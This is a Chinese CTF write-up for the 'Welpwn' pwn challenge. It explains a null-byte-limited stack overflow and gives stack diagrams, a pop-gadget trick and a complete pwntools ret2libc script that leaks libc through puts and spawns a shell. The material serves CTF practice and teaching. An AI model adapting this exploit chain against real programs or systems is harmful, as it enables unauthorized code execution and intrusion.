攻防世界PWN之Welpwn题解

161 篇文章 9 订阅
161 篇文章 9 订阅

首先用IDA查看

发现主函数不能栈溢出,我们看看echo这个函数

echo会把主函数输入的字符串复制到局部的s2里,并且s2只有16字节,可以造成溢出。Echo函数先循环复制字符到s2,如果遇到0,就结束复制,然后输出s2。因此,我们如果想直接覆盖函数返回地址,那么我们的目标函数必须没有参数,否则,我们用p64(…)包装地址时,必然会出现0。

比如我们的payload为payload = 'a'*0x18 + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)

由于是64为包装,因此payload字符串为’a’*0x18 + ‘\xa3\x08\x40\x00\x00\x00\x00\x00’ + ‘……’

这意味着,payload后面的两个地址不会被复制到s2,因为前面遇到了0,那么这样我们就不能正确调用出system(“/bin/sh”)

 

那么,我们来分析一下,该如何达到目的

首先,进入echo函数后,栈中数据是这样的

0000000000000000

0x10字节数据区

0000000000000000

echo函数栈的ebp

echo函数返回地址

0000000000000000

0x400字节数据区

0000000000000000

0000000000000000

0000000000000000

0000000000000000

…………….

main函数栈的ebp

假如我们在buf中输入的0x400个a字符,那么栈变成这样了

aaaaaaaa

0x10字节数据区

aaaaaaaa

aaaaaaaa

aaaaaaaa

aaaaaaaa

0x400字节数据区

aaaaaaaa

aaaaaaaa

aaaaaaaa

aaaaaaaa

…………….

main函数栈的ebp

因为没有在中途遇到0,所以echo中的循环一直复制buf中的数据到s2中,造成溢出。

现在,假如我们的payload = 'a'*0x18 + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)

那么,栈中的数据变成这样

aaaaaaaa

0x10字节数据区

aaaaaaaa

aaaaaaaa

echo函数栈的ebp

pop_rdi_addr

echo函数返回地址

aaaaaaaa

0x400字节数据区

aaaaaaaa

aaaaaaaa

pop_rdi_addr

Binsh_addr

system_addr

main函数栈的ebp

 

这样的话,echo执行完后,跳到pop_rdi地址处执行,然而,pop_rdi执行完后,栈顶指针esp指向buf+0x8 ,即aaaaaaaa,这里不是地址,因此程序崩溃结束。然而,如果,我们在buf+0x8处存储其他函数地址,也是不可行的,因为该地址是64位,末尾几位有0,这会导致我们还没溢出s2就已停止数据复制。

 

因此,我们有以下总结

buf的前24字节不能 存地址数据,只存普通数据。buf+24处应该存某一地址,且该地址处有四个pop指令,和一个retn指令。这样,四次pop后,就相当于跳过了24字节数据和自己本身8字节地址数据。在接下来的地址处,我们就可以写其他函数。

 

0x40089C处正好有四个pop和一个retn

 

假如我们的payload = 'a'*0x18 + p64(pop_24) + p64(pop_rdi) + p64(write_got) + p64(puts_plt) + p64(main_addr)

那么栈布局如下

aaaaaaaa

0x10字节数据区

aaaaaaaa

aaaaaaaa

echo函数栈的ebp

pop_24_addr

echo函数返回地址

aaaaaaaa

0x400字节数据区

aaaaaaaa

aaaaaaaa

pop_24_addr

pop_rdi

write_got

puts_plt

main_addr

main函数栈的ebp

 

那么,echo函数执行完以后,跳到pop_24地址处,由于跳转后,栈顶指针指向buf,出栈4个后,指针指向buf+32 ,接下来遇到retn,出栈一个元素为(pop_rdi)作为pop_24的返回地址,这样跳转到了pop_rdi,后面类似。我们调用system 获取到shell

 

我们最终的exp脚本如下:

 

  1. #coding:utf8  
  2. from pwn import *  
  3. from LibcSearcher import *  
  4.   
  5. context.log_level  = 'debug'  
  6. sh = process('./pwnh13')  
  7. #sh = remote('111.198.29.45',51867)  
  8. elf = ELF('./pwnh13')  
  9. write_got = elf.got['write']  
  10. puts_plt = elf.plt['puts']  
  11. #此处有4pop指令,用于跳过24字节  
  12. pop_24 = 0x40089C  
  13. #pop rdi的地址,用来传参,具体看x64的传参方式  
  14. pop_rdi = 0x4008A3  
  15.   
  16. sh.recvuntil('Welcome to RCTF\n')  
  17.   
  18. main_addr = 0x4007CD  
  19. #本题的溢出点在echo函数里,然而,当遇到0,就停止了数据的复制,因此我们需要pop_24来跳过24个字节  
  20. payload = 'a'*0x18 + p64(pop_24) + p64(pop_rdi) + p64(write_got) + p64(puts_plt) + p64(main_addr)  
  21.   
  22. sh.send(payload)  
  23.   
  24. sh.recvuntil('\x40')  
  25. #泄露write地址  
  26. write_addr = u64(sh.recv(6).ljust(8,'\x00'))  
  27.   
  28. libc = LibcSearcher('write',write_addr)  
  29. #获取libc加载地址  
  30. libc_base = write_addr - libc.dump('write')  
  31. #获取system地址  
  32. system_addr = libc_base + libc.dump('system')  
  33. #获取/bin/sh地址  
  34. binsh_addr = libc_base + libc.dump('str_bin_sh')  
  35.   
  36. sh.recvuntil('\n')  
  37. payload = 'a'*0x18 + p64(pop_24) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)  
  38.   
  39. sh.send(payload)  
  40. sh.interactive()  
  • 7
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值